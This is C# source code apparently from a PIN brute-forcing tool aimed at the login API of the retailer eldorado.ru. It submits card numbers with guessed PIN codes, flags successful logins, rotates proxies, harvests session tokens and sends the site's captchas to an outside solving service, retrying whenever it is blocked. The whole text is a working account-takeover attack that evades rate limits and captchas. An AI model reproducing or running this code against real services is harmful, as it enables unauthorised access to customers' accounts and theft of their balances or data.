public static string Post(ReqCharacters characters, PostCharacters postCharacters) { string result = ""; try { HttpRequest danni = ReqCharacters.Req(characters.cookies, characters.proxy); danni.AddHeader("Accept", "application/json, text/plain, */*"); danni.AddHeader("Accept-Language", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7"); danni.AddHeader("Referer", "https://www.eldorado.ru/"); danni.AddHeader("Authorization", "Bearer " + postCharacters.token); string json = "{\"user_login\":\"" + postCharacters.card + "\",\"user_password\":\"" + postCharacters.code + "\",\"g-recaptcha-response\":\"" + postCharacters.captcha + "\"}"; string response = danni.Post("https://www.eldorado.ru/_ajax/spa/auth/authentication.php", json, "application/json;charset=UTF-8").ToString(); if (response.Contains("user")) { result = "Good"; } } catch { result = "Error"; } return(result); }
private static void CheckPinCode(string pinCode) { int checkCountProxy = 0; string proxy = ""; string response = ""; lock (_consoleLocker) { _scoreProxy++; proxy = _goodProxy[_scoreProxy]; } try { if (checkCountProxy == 30) { if (File.ReadAllLines("goodProxy.txt").Count() < 50) { StopThreads("small proxy"); } } CookieDictionary cookies = new CookieDictionary(); ReqCharacters characters = new ReqCharacters { cookies = cookies, proxy = proxy }; string swpTokenCookie = JSecurity.GetCookie(characters); if (swpTokenCookie != null) { characters.cookies.Add("swp_token", swpTokenCookie); } response = Request.Get(characters, "https://www.eldorado.ru"); if (response.Contains("Bad")) // Проверка на валид прокси { throw new Exception("Bad proxy"); } string token = Request.GetToken(characters); if (token == "") //Заметил баг, что иногда возвращает ноль { throw new Exception("token is null"); } string captcha = Regex.Match(response, "\"key\":\"(.*?)\",").Groups[1].Value; string id = Captcha.GetID(captcha); string answer; while (true) { answer = Captcha.GetAnswer(id); if (!answer.Contains("CAPCHA_NOT_READY")) { break; } } PostCharacters postCharacters = new PostCharacters { cookies = cookies, proxy = proxy, token = token, card = card, code = pinCode, captcha = answer }; response = Request.Post(characters, postCharacters); if (response.Contains("Blocked")) { throw new Exception("Block"); } DataResult(response, pinCode, proxy); } catch (Exception ex) { if (ex.Message == "Bad proxy") { DataResult("Error", pinCode, proxy); CheckPinCode(pinCode); } else if (ex.Message == "Token is null") { Console.WriteLine("Не удалось получить токен"); CheckPinCode(pinCode); } else if (ex.Message == "Block") { CheckPinCode(pinCode); } } }